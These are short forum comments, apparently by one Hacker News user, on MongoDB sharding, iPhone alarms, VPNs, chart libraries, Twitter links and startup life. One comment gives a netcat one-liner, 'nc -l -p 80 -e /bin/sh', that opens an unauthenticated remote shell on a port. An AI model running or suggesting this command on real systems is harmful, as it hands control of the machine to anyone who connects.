dacort

Sharding gotchas:

You can't shard an existing collection that's surpassed 50GB.

All collections are currently created on the primary shard of the database. (Although this is slated to change: http://jira.mongodb.org/browse/SERVER-939 )

If a collection already has a unique key, that has to be your shard key.

You cannot update the value of a shard key.

> Why do you hate that? You wouldn't be using your phone during the night anyway?

I wanted to chime in on this. I may not use my phone at night, but it is certainly receiving notifications and SMS messages throughout the night. This means that with any iPhone alarm, I have to go through numerous close dialogs just to get to my alarm in order to turn it off. A minor annoyance, but the wrist band helps. Otherwise, I'd have to go through my settings and disable notifications prior to going to sleep so as not to disturb me. <-- Heavy sleeper

I created a Gist for this here - https://gist.github.com/745726 - would love to see some forks. :)

Looks like somebody decided to spam the heck out of Twitter with those compromised passwords. http://twitter.com/#!/delbius/statuses/14235293116792833

There's a decent list of VPN service providers here: http://www.thesparklabs.com/support/vpn_service_providers/

SparkLabs also has a sweet/simple OpenVPN client for OS X that I use and will be coming out with a server sometime in the near future that should make setup a lot easier.

Second time I've heard of this happening fairly recently. Another incident, same cause. http://www.bigdoor.com/blog/bigdoor-api-service-has-been-res...

Poor man's remote command execution (when compiled with -DGAPING_SECURITY_HOLE):

nc -l -p 80 -e /bin/sh

And then just telnet or netcat to that port and you get yourself a shell.

I do most of my mockups on pen and paper. I can draw quicker than I can use a mouse. I can scratch things out, jot down notes anywhere around a mocked up screen. And information transfer is faster (for me). To each their own, though. That method works for me, but I know folks who just mock it all up in Photoshop.

Does anybody else not have the export feature yet?

Whenever I have a Rails app that I'm not sure where it will go or how much effort I want to put into it, I deploy it on Heroku.

It's dead simple, just runs (most of the time), and is zero cost until it starts getting substantial traffic.

Wow, I've been wanting to do this for a while to raise awareness. Great implementation by plugging it into Firefox - well done.

I hope they stick to their word on this. I'm tired of the search results on the Graph API disappearing for hours at a time.

+1 for these comments as well. Better to do something crazy now, knowing you can always fall back and recoup your losses, rather than finding yourself down the road with more serious responsibilities you can't ignore at the same job hating yourself/wondering what could have been.

I didn't see a word about /what/ you want to build. Most people leave their jobs and pursue startup life, which is not glamorous, because they have a burning, necessary passion to build something and solve a problem. And it's that passion that will get you through the ups and downs of startup life.

That said, if you just want to build cool stuff using new technology, there's always the chance you could just up and move to SFO and get a job /at/ a startup depending on your skill-set.

Your comment influenced me to chip in a little to help Abraham get there. He's a great hacker and has already made an impact on the Seattle scene.

It took me a while to realize I wanted to build/run a startup - anything I can do, however little, to help somebody else get there faster is a great thing in my eyes.

Shouldn't I be allowed to customize my profile URL with a string other than my email address? Why force me to expose my email if I want something other than a 21-character numeric id?

The thing that really bugs me about Google profiles is that they're directly connected to email addresses. I guess Google thinks their ability to deal with spam is good enough that putting millions of their user's email address publicly available isn't a concern.

This should be redone with % of homepage consumed by advertising over time.

Psh, the night is just barely getting started out here on the West Coast!

In no particular order: http://g.raphaeljs.com, http://vis.stanford.edu/protovis, http://highcharts.com, http://www.fusioncharts.com/ (Flash)

[edit] Some commentary: I've used Fusion Charts in the past (on tweetstats.com) and it provides some good looking and easy to implement charts. That said, it's Flash but it was the best looking option around when I implemented it back in late '07. Since then, there's been a nice rise in JS charts. gRaphael is amazing, but somewhat buggy and lacking documentation. Highcharts seems very complete and well-documented. I only came across Protovis recently, but it seems pretty darn awesome.

You can also execute SQL-like queries within a Google Spreadsheet. Surprised the heck out of me when I found that out.

It doesn't support VBA, but it does support Javascript...

http://www.websolr.com ?

Incorrect. The 140 characters includes the length of the t.co link (19 characters), not whatever the original link was.

As I interpreted it, Twitter is not going to longify links. The display_url entity will be the exactly link passed in by the user. So if a user pastes in a bit.ly link, it will still show the bit.ly link.

One also has to wonder what altitude they were at.

I second this. At the very least, link to somewhere where you describe what changes were made (and how to revert if I so choose).

If you use the iPhone app, it can sync your friend's pictures on Facebook with the corresponding contact in your address book. How does it do this? By having you upload all contacts to Facebook including their name, email address and phone number.

Your privacy is at the whim of those who you choose to communicate with, online or off.

Ouch: http://www.wolframalpha.com/input/?i=relocating+from+seattle...

76% more in Manhattan. Housing is 164% more expensive.

http://tweetreach.com will do this. The basic/free version only looks at the 50 most recent tweets, but they gasp charge for more. Amazing...a Twitter app that charges! Novel! ;)